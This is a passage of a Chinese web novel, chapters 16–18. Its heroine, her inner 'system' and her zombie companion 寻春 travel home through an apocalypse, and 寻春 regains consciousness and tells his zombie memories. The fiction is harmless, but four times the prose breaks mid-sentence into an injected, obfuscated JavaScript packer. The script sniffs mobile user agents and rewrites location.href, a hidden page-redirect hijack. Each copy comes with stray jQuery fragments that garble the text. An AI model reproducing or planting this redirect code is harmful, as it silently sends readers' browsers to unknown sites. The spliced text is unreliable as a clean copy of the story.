几秒后，他下定决心，转身跟着续昼离开。 离开医院时，太阳还挂在天上，天色尚好。续昼告别东轩彩，开着越野车先行离开。车辆启动时，她望过去，东轩彩正站在阴影交界处，整个人落寞不已。 她收回视线。 “祝你平安！” 系统：“跑这么快？” “没办法，”续昼无奈，让系统导航一家服装店，“要是他来关心寻春，一发现他的怪异，我俩就完蛋了。他队友刚变成丧尸，就不要刺激他了。” 系统夸她考虑到位。 寻春的伤不值一提，死不了。但他要换套衣服，维持“人类”的形象，所以让系统找家服装店，两人收拾了一番，计划连夜赶路。 续昼问过系统，寻春身上被打出来的坑洼能否恢复。 系统说，不出意外的话，打赏任务会解决。 于是，她让系统定个晚上零点的闹钟，她要第一时间做任务。 夜幕低垂，月影婆娑。 开车的旅途并不轻松，续昼转而与系统聊起白天发生的事情。 据东轩彩的讲述，他们第一次去负二楼的时候，丧尸关了铁门引起他们的注意；第二次去负二楼，丧尸又关了铁门，这次东轩彩抬头发现了丧尸后，丧尸才堵住其余五人，留了一个人在外面。 然后丧尸呼唤丧尸群。丧尸群让另外五人没有空余功夫去推开铁门，丧尸只需要应对东轩彩一个人。 “丧尸为什么要这么做？它第一次把所有人关住不就行了吗？”续昼不解，“它废这些功夫干什么？” 系统：“除非它是故意的。” 故意放一个人离开，引来更多的人。 “对，一网打尽就只有六个人，但要是放一个人出去通风报信，可就不止六个人了。” 续昼回忆起丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282823|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸的样子，印象最深刻的是它的眼睛，准确来说，是眼睛里闪烁的红色微光，这个她在其它丧尸身上完全没有遇见过，就连东轩彩那些刚变成丧尸的队友们眼睛里也没有。 “红光好诡异。”续昼形容不出来那种感觉，好像下一秒，自己就会被吸进去。 系统马不停蹄给续昼来了一个全身检查。 正常，建议不要熬夜。 系统放心了，熬夜不会死，这个建议可以不用听。 它宽慰她：“没事，你身体好到能再被吸进去几次。” 续昼：“……” 谢谢，但没必要。 “丧尸什么时候变得这么聪明了？变异了吗？”续昼疑问。 系统虽然也不清楚原因，但它查过地球的能量条件，目前地球这种状态下，缺少能量，丧尸是不可能自然变异的。这个丧尸的变化只能是人为的。 对此，续昼倒吸一口冷气，想到另一个不同的丧尸：“那寻春是变异吗？” “算是。”系统想了一会，才回答。 能恢复意识，怎么不算变异呢？ “难怪。”续昼随口感慨，她语重心长对寻春说，“你要快点变异啊，这样我就不用替你打掩护了。” 这样，她今天就不用着急跑路，可以找东轩彩多打探点消息了。 被弯月吸引视线的寻春：“啊啊。” 听不懂，但应该有回应。 不过，前面的疑难还未解决，现在又多了一个。 续昼调侃：“完了，我一直发现疑难，一个也不解决，到处沾花惹草，好像不负责任的渣男。” 系统有另外的看法：“别这样说，你尚有悔改之意，但渣男可认知不到。” 续昼受宠若惊：“哇，谢谢你对我评价这么高。” “不客气。” 系统小小骄傲一下。 毕竟，维护同盟，这是身为优秀系统代表的基本操作。 续昼继续复盘到最后—— 今天跑得快，东轩彩没有多余的精力关注她们，所以没事。但下次就要更注意了，丧尸会攻击人，丧尸彼此之间却不会主动攻击，所以在寻春恢复之前，还是得少面对丧尸。 “系统，你也帮我多在意一下。” “好。” 尽量帮同盟排忧解难，也是身为优秀系统代表的基本操作。 初夏的晚风拂过，难掩惬意。续昼降下车窗，感受风的温度。这从楼江镇方向吹过来的风，轻而易举就勾起她心里的怀念。 皓月当空，四野寂静，续昼没由来一阵心软。 她终于要回家了。 系统非常上道的播放了一首轻音乐。 “心意很好，但下次能不能先搜一下这首轻音乐背后的含义？”续昼含泪收回自己已经酝酿的饱满情感。 怎么能做到心意与实际如此背道而驰？ 系统傻笑蒙混：“下次一定。” “但你怎么能每次都选到我刚好听过的歌？” “你的大数据记录的。” 原来是大数据在谋害她。 续昼恶狠狠念叨—— 那没办法了，她也打不过大数据。 续昼再轻轻放下。 16. Chapter 16 “嘭——” 火光熠熠。 …… 寻春是一个丧尸。 当他意识到自己是一个丧尸的时候，他很迷茫。这种迷茫让他空落落的。同时，他认为自己作为丧尸很失败，因为他不知道自己每天要干什么。 他见过很多丧尸。他们整天无所事事，但他们并不觉得失败。 他们说，失败是什么？无所事事就是他们的生活。 寻春觉得他们说的有道理。于是，他开始四处流浪，寻找自己的生活，等到再次迷茫时就安慰自己是个独行侠。 不久后，有个丧尸群捡到了寻春。 领头丧尸听了他的话，对他说，跟着他们很安全，还可以摆脱无所事事，他们有事做。 寻春想，反正他也无处可去，便选择跟着他们。 领头丧尸说的有事做，就是每天带着丧尸群散步，中间还有自由活动的时间。 丧尸聚在一起，确实有很多事情做，可以听着丧尸天南海北的聊天，还可以和那几个没有纪律的丧尸逃“散步”，或者游玩新项目…… 很多很多，久而久之，寻春的迷茫少了一分。 更惊喜的是，某次寻春散步到一个地方，脑海里突然萌发了一个念头：他要找到他的同伴。 他的迷茫彻底没有了，这就是他做的事情。 感谢丧尸群捡到了他。 念头甫一存在，寻春就有了很多期待。 期待成真的那天，有朵花在他脑海中炸开了，不对，是很多彩色小花组成一朵大花，在他脑海中炸开了。 他眨眼，再眨眼。 确认不是现实中的，是他脑海中的。 也是奇怪，花炸开后，他又听到了什么碎裂的声音。很小声，很清脆。 旁边丧尸群齐刷刷走过。 哦，是他的手指骨头碎了。 看来躺矮石头这边也不是很安全，下次得再远一点。他的手指头不多，碎不了几次。 太阳出来，又要散步了。寻春认命爬起来，晃悠悠走在后面。 再一次被打到的寻春，转身生闷气。 那几个没有纪律的丧尸也在后面，难怪他们每次都在后排，合着地方宽，容易施展手脚。有点后悔走后面了。 太阳好高了。 寻春收回脖子，冷不丁又被杵了一肘子，差点站不稳了，他稳住身体，准备好好和杵他的丧尸聊天。 抬头一看—— 哦，是他错怪他们了，原来他们是在提醒自己。 他找到了他的同伴！ 那是一张记忆中熟悉的脸，虽然不知道是哪里来的记忆，但他就是知道，这个同伴是他念头里的同伴，是与其他丧尸很不一样的、唯一的同伴。 嘿！ 真好，他找到了。 快快快，他已经迫不及待了。 寻春一路拨开周边挡路的丧尸，着急忙慌，生怕同伴跑了。 一边跑，还一边念叨。哎呀，丧尸怎么总是挡道啊，有没有尸德，不能给他让个道吗？好吧，他好像没有理由让丧尸给他让道。算了，不管。他挤也要挤过去。 同伴一定要等他啊。 好不容易跨越尸山尸海，望着有点高度的楼房，寻春只踌躇了一会儿。 爬就爬，他一个没爬过楼的丧尸怕什么。 努力爬上楼房天台的寻春非常开心，因为同伴没有走，她一直看着自己，她一定也在等他。真好，他们这是相互奔赴。 寻春跟着同伴离开。 美中不足的是，同伴还没学会说话。她嘴巴张张合合，说出来却不是话，语调乱七八糟，和那群人类一样。 想到这，寻春更加怜惜同伴了。 她一定很辛苦，丧尸语还没学会，就先学会人类话了。一看就是人类对她干了什么，她为了自保才学会的。没关系，他以后也学学人类话，这样他们就能聊天了。 但现在，他只能应和她几声。 不过，就算听不懂也不能让她的话掉地上。 同伴也喜欢散步，散步真好。寻春满意的跟在同伴后面。 同伴怎么拎着东西啊，他来。 同伴怎么撕半天也撕不开，他来。 刺啦—— …… 好了，同伴生气了。他只能面树思过了。 黑暗属实有点无聊，但同伴正在死去，他不能打扰。闭眼死去，又活过来，和人类一样，同伴真是太辛苦了，这种不知所云的行为都被传染了。 寻春盯着月亮。 不多会儿，熟悉的丧尸群来了。不太整齐的队形，如同蝗虫过境。 领头丧尸劝告他，不要脱离大部队，外面的世界有很多人类，他一个孤苦伶仃的丧尸很危险的，跟着他们一起，会更好生存。 寻春回，他不是一个丧尸，他找到了同伴。 领头丧尸又劝，叫同伴一起来啊。身边的丧尸也在复读，说他们欢迎新鲜丧尸的到来。那几个没有纪律的丧尸叫的更大声，说还可以带他同伴一起蹦床。 寻春转动眼珠子思索，这好像是个不错的主意。 只是还没等他问，同伴就活过来了，她二话不说，抓着他的手就跑。晚风习习，他看着她，心里满满的。 看来她不愿意，她想独自和他一起，那好吧。 他也是这么想的。 丧尸群见他们跑了，急了，连忙追着劝告。 外面的世界很危险的。 寻春喜滋滋的想，外面的世界虽然危险，但是他同伴超级厉害。她还会开车，这可比两条腿靠谱多了。就是不知道安不安全，算了，先坐好，不然车会翻。 好紧张，抓一抓应该没问题吧？ 寻春悄悄观察同伴，嗯在认真开车，他就抓一下。 天亮了，不用散步的第一天。 寻春并不想念。 他们遇到了危险的人类，好在同伴机灵，半路就跑了。只是那几个没纪律的丧尸怎么这么能追？哦，是他高估他们了，原来只是喜欢蹦床。 又有花炸开了，他好像能听懂同伴说的人类话了。 不知道什么还会有，他好想和同伴聊天。 同伴很忙，虽然不知道在忙什么。 以及人类真的很危险，又有丧尸死了，虽然不是他们丧尸群的，但也还是有一点点难过。 寻春再一次坐上车。 远离人类，还是保命重要。可是人类追的好快，他只能默默为同伴加油。完了，被追上了。不知道他努努力，能不能让同伴逃离？ 悲观想着的寻春突然闻到一股味道。 什么味道？ 里面有丧尸的味道，这味道让他心里好烦躁，好想……控制不住，他忍不住抓挠座椅，叫喊着，以此驱除烦躁。 对了，同伴！同伴……没事。那就好。 所幸那群人类走了。 寻春冷静下来，再次体会到人类真的很危险。 好在，接下来的日子风平浪静，这是寻春过的最快乐的一段时间。 不仅如此，他还发现自己能听懂很多人类话了，可惜他还不会说，不然每天同伴也不用自言自语了。嗯，真希望他下一秒就会说人类话。 更重要的是，他变得和同伴一样了。他总是担心同伴会嫌弃他长得不一样，现在好了，他们一样了，他就没有那么怕了。 很早寻春就知道，日子不会一直平静，所以他和同伴也遇到了很多不一样的事情。例如，他们遇到了狗，但狗语是真听不懂。 不过狗有一片花海。花海真好看，比他脑海中炸的花还要好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282824|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是怎么他的头有点晕，很多东西飘过，看不清，他还走不掉。 寻春挣扎着，忽见同伴发着光来拯救他。 他顿感心安。 往后的日子里，遇到了一个见过的女人类。不过这个女人类似乎没有恶意，同伴也是这样认为的，只是同伴不让他说话。 寻春一开始不懂，先答应了。后面想通了同伴这是在保护他，他死死闭紧嘴巴，只做一个合格的挂件，决心不给同伴添麻烦。 他的伪装真好，女人类根本就没发现他是人类。 果然，同伴的方法就是最厉害的，听同伴的话准没错。主要有一点就是，不能说话还是有点考验他的。 没关系。 为了同伴，他可以。 寻春忍则为大。 女人类走了，他终于可以说话了。 上一秒还在暗自欣喜的寻春，下一秒龇牙咧嘴。 不对，他的头好痛，像是有什么撕裂了他的脑袋，将很多东西一股脑全塞了进来。谁啊，这么恶毒，也不知道先打声招呼。 不止他，同伴的状态也不对劲，很不对劲，她在抖。不行，他要撑住，这什么东西？像棉花糖，扔脑袋里去，黏住它们一会儿。 寻春控制思想，将眼中突然出现的白气团丢进脑海里。见效很快，他的头不痛了。 “啊啊没……没没。” 惊喜的是，他会说一个字了！寻春看向同伴。 同伴怎么突然死去了？！ 寻春连忙扶住同伴，把她拖到车上。业务不太熟练，让她蹬车上了。看着新鲜出炉的鞋印，寻春有点心虚，希望同伴活过来后不会怪他。 事后，同伴真的没有怪他。 吓死了，他还以为她一直盯着他，是在组织语言呢。 同伴真是尸美尸善。 再之后，他们还遇见了丧尸异类。为什么说是异类呢？因为他就是异类。 一个人类带他们去找的异类。 这个异类还想攻击他的同伴，这怎么行，她不能受伤！那个人类先让他自生自灭一会儿。 寻春毫无心理负担的让人类先挡一脚。紧接着，他对着异类就是干，出乎意料，他能和异类打个平手。 那就好，他还怕不能保护同伴呢。 异类死了。 寻春敏锐察觉到，这个异类他好像解脱了。 寻春默默叹气，愿他安息。 同伴开车带着他远离人类。 不过，花再次炸开，他有点不清醒了。其实每次花炸开，他都有点不清醒，这次程度更严重了。 寻春望着车窗外的月亮。 突然，巨大的声响传来，火花噼里啪啦，他听不见了。 …… 寻春睁眼，抬手揉揉太阳穴，脑袋传来密密麻麻针扎似的疼痛。他轻摇头，选择性忽略这股疼痛，决定先观察现在是什么情况。 他记得自己已经进小区了…… 他躺在大地上，正看见天空。 天边正泛起鱼肚白，一切都雾蒙蒙的，大地仿佛披上了一层银纱。 身体有点麻木，他挣扎着起身，看清了四周。 这里是环形山路的一个转弯处，侧翻的汽车撞在山壁上，车身严重受损，还冒着气。路面还有轮胎压出来的痕迹。很显然，这里出了交通事故。 他缓慢朝前走。 越过车辆，一个蜷缩着的身影映入眼帘。 不知为何，看到的一霎那，他的心跳的有点快。就像……下意识的存在。 眉头一跳，他加快脚步走过去。希望不会是他预想的那样。 很快就走到了身影跟前，他放慢脚步，绕过去看正面。是一张女生的脸，看清的那一秒，他心脏咯噔一下，停了半拍。 “灯灯——” 17. Chapter 17 “灯灯——” 意识迷糊间，续昼隐约像是听到了自己的小名。她醒来，发现自己半躺在寻春怀里，他抬起手，食指此刻正放在她鼻子下方。 续昼一瞬间的激动消失殆尽。 哦，原来是丧尸啊。那没事了，一切都是幻觉。 续昼自顾自的起身，拍拍灰，也不管寻春的反应。毕竟，一个丧尸需要什么反应呢？她看向倒地的越野车，与系统搭话。 时间刚过零点，她做完打赏任务，还没查看寻春的变化，一个不留神就出车祸了，呼叫系统也没有反应。好在系统有自动保护模式，有它护着，整个车祸只有越野车受伤了。 为越野车的独自牺牲默哀。 续昼有点心疼，这车她还没开一天呢。 寻春诧异地看着续昼若无其事起身，跑到车子前絮絮叨叨。一时间他的手还停在半空，忘了说话。 续昼抽空瞥了一眼寻春。只见他呆愣如往常，她心里有了结论，很好，还是个傻的。 “系统系统，在吗？在的话吱个声，不在的话说个话。” 系统：“……不在。” “好的，你在。”续昼确认系统安全后，继续问，“凌晨你出什么事了？怎么突然没反应了？” 一提起这个，系统又气又冤枉：“不知道是谁突然动了我的能量，害我没有准备，辅助开车链接断了，就发生了车祸。” “没事，车祸影响不大，我们都没事呢，”续昼宽慰系统，她倒真没觉得有啥大事，系统的自动保护模式简直是出行必备，她连翻滚的力度都没有感受到，“还好有你护着。” “也有我的责任。不过这事发生的太快，不知道对打赏有没有影响。你先检查寻春，看看他出问题了没有？”系统说着，也调出电子屏幕，查看打赏详情。 闻言，续昼转身，对上寻春的视线。 清澈，疑惑，咦……还有一点欣喜？ 她察觉不对劲，丧尸的眼神怎么会有这么多戏。难道？她走近，准备仔细观察。 “灯灯。”寻春说，声音轻缓，带着来之不易的意味。 他的头痛已经消失了，但那些随着疼痛一起来的记忆留下了，是他成为丧尸后的记忆，有他流浪的时候，还有遇见灯灯后的时间，这一段时间是他记忆里最深的颜色。 天地朦胧之间，熟悉的声音再次响起，续昼不可置信瞪大了眼睛。 脑海中的系统也惊讶：“他这么快就恢复意识了。” 眼前的这一幕太不真实了，她还在想这一切是否是幻觉，直到系统的声音一锤定音，让她确定，寻春是真的恢复意识了。 续昼看着寻春，目不转睛，不觉眼里已经蓄满了泪水。她小心翼翼伸出手，想要抚摸寻春的脸。指尖触摸到的一瞬间，她的泪水毫无征兆留了下来。 寻春一如以前，耐心等待她的动作，眼神温柔。 寻春：“灯灯，是我。” 续昼再也忍不住，扑进寻春的怀里，嚎啕大哭。寻春接住她，轻拍她的背。 系统很有眼力见，捂紧小嘴巴。只是看着看着，它就独自一统蜷在小角落前思后想，不会是寻春动了它的能量吧？还有他到底是在哪里得到的能量？ 一开始，续昼对于末日的认知并不深刻，那个仅存在于虚构的世界，对她的冲击并不强烈，系统缓冲了她的情绪，让她孤零零在末日里有了陪伴。 再往后，成为丧尸的寻春一路陪着她，在广阔无垠的世界里，她有了一份安定，这份安定里很大程度上包含了她的期待，她期待他恢复意识的那一刻，她终将不再是一个人。 她可以一个人，只是曾经她有了另一个更好的选择，她更想那个选择再次降临。 所以，寻春恢复意识，与她而言，不仅仅是选择再度出现，更是心灵慰藉，一种支撑。 她可以更加放心大胆的面对这个末日。 真好。 续昼将头埋进寻春的怀里，心里深藏的不安被一一安抚。 寻春一遍遍轻声叫着续昼的名字。 成为丧尸的记忆里，前大半段的时光都是灰色的，只有一个念头支撑着，那就是找到续昼。这个念头过了很久很久才被掩埋，那时，他已经找到了她。 他不知道续昼经历了什么，只是看着那些她独自面对的场景，他就觉得心疼。 丢下自己多好啊，这样也没有负担了。 不过—— “灯灯，你做得很棒。” 寻春又觉得自豪，因为续昼已经能独当一面了，成为了更厉害的她。 那些从过往里经历的一切，都不是白费。 听到寻春的夸奖，续昼倒是哭得更大声了。 系统悄咪咪出声：“他夸你呢，哭什么，又不是在骂你。” “我这是喜极而泣。”续昼嘴硬。 “那怎么我夸你的时候，你不哭？” “小嘴巴——” 系统不听：“小眼睛——” 被系统这么一打岔，续昼的心情倒是好多了。她也哭够了，从寻春怀里出来，眼睛通红。她嘴唇合拢，将食指举到嘴前，示意寻春闭嘴，自己吹着晨风恢复情绪。 寻春哭笑不得，乖乖在嘴唇前做出拉上拉链的动作，结束还点头，比了个“OK”手势。 明明会说话，还是配合她演了个默剧。 续昼没忍住笑了，转头不看他。 还是熟悉的样子。 下一秒，她张开双臂，笑容灿烂：“我好喜欢你啊。” 寻春上前，回抱，右手揉揉她的脑袋，回应道：“我也是。” 系统没眼看，在脑海里鹦鹉学舌：“我好喜欢你啊~我也是~” “系统，我也喜欢你啊。” 系统沉默不语。 续昼笑得更开心了。 寻春敏锐察觉到续昼的情绪变化：“什么事这么开心？” “你猜？”续昼眨眼，笑容狡黠，不说。 越野车没了，她们只能走路前进。沿着环形山路，晨雾渐渐散去，太阳从地平线爬上来，阳光洒下，山间空气通透，如沐春风。 真是难得的一幕。 续昼牵着寻春，影子交错。 寻春从丧尸的记忆里，挑了一些趣事，分享给续昼。丧尸没有时间观念，他不知道具体过来多久，只知道重复的场景很多。 续昼听的认真，没有想到从丧尸的视角，还挺好玩的。 最后，寻春感慨，不知道自己怎么突然恢复意识了。 续昼一副快夸我的表情，得意洋洋：“是啊，你怎么就恢复了呢？究竟是谁呢？” 寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282825|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春顺从道：“感谢我最厉害的灯灯救我一命。” 当然，他也说了续昼自言自语的事情。 续昼一听，连连叹气，失策了，没想到丧尸恢复意识后还能记得这么清楚，她要怎么糊弄过去？系统倒是无所谓，让她直说就行。 “我知道你有自己的秘密。我告诉你这些，是想让你知道，秘密你自己知道就好，不用告诉我。”寻春兜了一圈，最终说出他的目的，“任何情况下，你要先保证自己安全。” 翻看记忆时，他就发现了续昼的怪异，单凭她自言自语就可以断定，她身上肯定有不同，更何况，她还帮他恢复了记忆，这不是一件小事。 她肯定还付出了更大的代价。 想到这，寻春没由来一愁。 只希望这个代价不会威胁她的安全。 “你放心，我非常安全。”续昼信誓旦旦。 寻春：“好。” 续昼嘿嘿一笑，和寻春说起自己的事情。 在这之前，她先询问了系统的意见，系统没有阻止，让她高枕无忧。 系统已经弄清楚了，寻春身上残留的能量是哪里来的。就是他进小区找续昼的时候，意外蹭上的，也是便宜他了，还让他生出了意识，刚好又和打赏任务连接上，这才恢复得这么快。 能量波动也是因为他要恢复意识，引发的蝴蝶效应。 系统一边设置能量单向限制，一边嘀咕，他以后要是敢乱说，它就电他。 这也是系统不怕续昼把自己的存在说出来的原因，它有信心在他说出来之前就解决他。当然这一点它没有和续昼说。 只是“系统”两字一出口，寻春就打断了她的话：“这事说出来，它不会惩罚你吗？” 还在等待寻春听到自己伟大事迹后，会崇拜夸奖自己的系统：“？” 系统大声嚷嚷：“他什么意思？他把我想的这么坏？” 只是这大声嚷嚷中还透着一分心虚。 好吧，它虽然不会惩罚同盟，但它会惩罚他啊，这怎么不算是惩罚呢？ 续昼摇头：“不会。” 说完，又在心里哄着系统：“他没其它意思，只是担心我。你不坏，一点都不坏。” 甫一听到“系统”，寻春就想清楚续昼的秘密了，这种事情确实不好说，万一被有异心的知道就不好了。 寻春没打算继续听：“那就好，你记住千万不要和别人说，你也不要和我说。这事你自己知道就好，和我说点其它的事情吧。” 寻春话音刚落，系统就先说了：“没看出来，他还挺在意你啊。” 续昼一句话提到嗓子眼，又落了下去。她欲言又止，张了好几次嘴，最终什么也没说出口。好吧，这确实是她认识的寻春。 看着寻春捂住耳朵不听的样子，她有点好笑，又有点心软。 在这个世界上，她最亲的亲人已经不在了，朋友不知道在何处，系统只能查到和她有血缘关系的人。身边关系最好的只剩下寻春，他变成丧尸，她也想过要不要丢下他，可是每次一想到他在第一次见面就努力奔向自己，她就丢不下他。 所幸，兜兜转转，还好有他。 续昼取下他的手：“我不说了。” “真的？”寻春挑眉。 续昼一字一句：“真，的。” 18. Chapter 18 续昼转而说了自己遇见寻春后的事情，撇开系统的存在，重点说了她苦恼的几个疑难。 寻春见此，逐一帮她分析。 首先是，续昼在女人走后突然晕倒的事情，这就没有什么疑难点。原因就是寻春要醒了，连带她和系统一起昏迷，之后无事发生。 “我也没想到连锁反应这么强。”寻春很抱歉。 续昼大手一挥：“没事，谁也没想到。” 倒是系统在脑海里吐槽：“下次有事，让他先晕。”它可记得被迫休眠还得看“电影”的事情，主要是不能动就很难受。 “好好好，我支持你。”续昼面不改色，在心里应和系统。 什么时候，这种两头哄的日子能结束啊？ 她的一心二用也不是这么用的。 续昼自己嘟囔。 其次就是女人说的话。她肯定知道新序列的内幕，不说出来也是有原因的，看续昼有眼缘，说这些估计是在提醒续昼。 “我一直都不知道她的名字，”续昼说，“当然，她也不知道我的名字。” 寻春：“她的名字应该很重要。或者说，她在新序列里面也很重要。” “要是她换个假名字呢？” “假名字有什么意义呢？” 按照女人行为推断，一个不重要的名字说了也无所谓，但她没有说，那就是这个名字代表了重要的东西，可能她在新序列里面是重要职位，新序列的人认识她，认识她的名字，对外人说出名字不是一件好事。 至于她没有用假名字在这一点，那就是她不想用假名交友。她应该很喜欢自己的名字，这个名字对她很重要。 寻春：“还有，不说名字也可能觉得没必要。” “不用纠结这一点。” 续昼点头。 丧尸的记忆里，寻春对其他人都不怎么在意，现在回忆起那些场景，也看不出来什么，只知道她对续昼特别。 续昼迟疑了一会儿，还是开口：“她给我的感觉，很像阿姨。” 续昼口中的阿姨，是寻春的妈妈。 地面的影子跳动，寻春缄默不语。 系统：“那女人是他妈妈吗？”怎么看他的样子有点故事。 “不是，她俩的样貌长得一点也不像。”续昼否认。 “哦。”系统疑问，“他怎么不说话了？” “我也不知道。” 最终，寻春跳过了这个话题。但他说了一句：“她或许在你身上看到了认识的小辈的影子。” 续昼点头。 最后，那个丧尸确实是有问题。在寻春丧尸的视角下，他是个异类，说明他不是单纯的丧尸，他体内有其它东西，才会导致他体形发生变化，眼里出现红光。 “你觉得，新序列会不会对丧尸也做了什么？”寻春提出另一个方向，“从而导致丧尸变异了。” 续昼恍然大悟：“还真有可能。” 那个丧尸的异样大家都看在眼里，系统也说过丧尸的变化只能是人为的，只是不确定是哪种人为，虽说她们一致认为新序列是对人做坏事，但说不定新序列业务也扩展到了丧尸。 “我们这样甩锅真的好吗？”续昼后知后觉，她们这是纯推理造谣，没有证据。 寻春：“甩到了才知道真假。” 系统：“那你就找证据说明新序列是好的。” 这个时候，丧尸和系统倒是一致对外了。 续昼将新序列的卡片递给寻春。他接过卡片观察，卡片没有什么特别，看久了，会隐隐有点不舒服。 寻春实话实说：“看着观感不太好。” 续昼收回卡片：“我也觉得，我还以为是我太敏感了。” “不管怎么说，小心为上。” 系统插话，凸显它的重要性：“你放心，有我在，你肯定留有一口气，保你死不了。” 续昼：“？” 这话怎么听着有点不太安全。 她望望天，望望地，望着白云从头顶飘远，决定不接茬。 在出发前，续昼就向寻春说了自己的计划，她要去楼江镇找到父母，送他们最后一程。寻春举双手赞成。 出了环形山路，她们很幸运在路上遇见了空车。这次是寻春开车，续昼坐在副驾驶，尝试着寻春干过的事情。 续昼：“你为什么总喜欢伸出窗外？” 听到续昼的问题，寻春一时间羞愧万分，他想起自己做过的傻事，不愿面对，只好生硬转移话题：“这里的风景挺好啊。” “你敢不敢再生硬一点？”续昼也没有深究，只是简单调侃了一句。 嘴硬的寻春：“这是我的真实感受。” “嗯哼。” 她伸出手，感受着风的气息。 好像是挺舒服的。 寻春倒是想起了另一件事情：“我还要继续装哑巴吗？” “嗯……”续昼没想过这个事情，一时间也拿不定主意，她觉得她们也不一定会碰到其他人，只怕又遇到见过的人，为了以防万一，“装吧，万一露馅了就不好。” “好。”寻春无奈应下。 车辆一路远行，楼江镇的轮廓缓缓出现。作为宜居镇，它更多保留了以前的建筑，以院落为主，绿化好，现代建筑的比例较少。又经过末日四年的发展，楼江镇都快被植被包裹成植物王国了。 续昼和寻春下了车，穿行在藤蔓之中。寻春走在前面开路，续昼在后面转述系统的导航。原本她们都认得路，但是视线被植被一遮挡，就失去了判断方向，只好依靠系统导航。 “你说，丧尸也会寸步难行吗？”续昼拨开头顶的枝条。 寻春：“会。” 丧尸的意识没有很复杂，它们脑袋转不过弯，就会被藤蔓缠住，而这个时候可能还会以为自己在荡秋千。 寻春就见过甩大绳，结果把自己绑起来的丧尸，还不止一个。 “听起来，丧尸的杀伤力也不大，”续昼疑惑，“怎么末日会变成这种局面？人们被丧尸追着跑。” 寻春组织了语言，告诉续昼一个事实：“有些丧尸是不伤人的。造成这种局面的是那些会伤人的丧尸。” 这是他成为丧尸后知道的事情。 丧尸没有进食需求，可以不吃不喝，同理，他们不吃人。这是一类丧尸，他们对气味不敏感，对人的兴趣也不大，就像他遇到的整天散步的丧尸群，他们就没有伤人的行为，整天无所事事，就是他们的乐趣。 与此相对的是，那些吃人的丧尸。他们同样也没有进食需求，会吃人是因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282826|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们对气味敏感，同时带有暴虐因子，攻击性强，导致他们遇到人、动物，就想扑上去捕食。这是他们特有的行为。 但丧尸之间不会主动攻击是真的，吃人的丧尸对同类气味毫无兴趣，他们更喜欢其他种类，所以人类总能遇到丧尸攻击的，都是吃人的丧尸。 续昼大为震惊，她还真不知道这个，她一直以为所有丧尸见到人，都是会攻击的。 系统也长见识了，它迅速将这个发现分享给同期系统，随后对此展开了长段的讨论，全是任务期间的独特发现。 望着那些闻所未闻的发现，系统深感，世界之大，无奇不有。 续昼感叹：“丧尸原来也有好坏之分啊。” “可以这么说，但对人而言，这个是不好区分的。因为有些不吃人丧尸也会追着人跑，他们好玩，想吓唬人，逗人玩。” 好熟悉的行为。 续昼默，眨眼，承认罪行：“……实话实说，我有时也喜欢逗小孩玩。”不止如此，她还会逗猫、逗狗，她逗好多呢。 大家的爱好都如此统一，果然都是生活在地球上的。 寻春：“大家都是。因此，远离所有丧尸就是很好的选择。” 这一点毋庸置疑，更何况人类也不知道丧尸还有好坏之分。面对危险，不说最佳选择，但远离始终是一个不错的选择。 就像，她知道了丧尸是好的，她也不会去和丧尸荡秋千。 续昼心思一活泛，想起另一个问题，她在心里询问系统：“系统，寻春他现在是人类吗？” 现在看，寻春的外貌和人类别无两样。 “不是，他是丧尸。”系统脱口而出，进而解释道，“他只是恢复了意识，本质上还是丧尸。人类变成丧尸是不可逆的，一入丧尸门，终生便为丧尸了。” 续昼眉头一皱，眼珠子一转，一寻思，脑海里仅剩的阴谋诡计全冒出来了。 是丧尸，外表还和人类一模一样，具有超强的迷惑性…… 续昼亦步亦趋跟在寻春身后，心里有了打算，谋划着如何干掉他。她暗暗询问系统：“系统，你说我偷偷干掉他的几率大吗？” 系统一脸懵：“？” 什么？谁？她要干掉谁？她在说什么？她的脑回路连接到什么了？ 续昼开始和系统掰扯：“你看，他长得和人是一个模子里刻出来的，丢进人群里，谁还分得出他是丧尸啊？那他是不是个完美的卧底？” 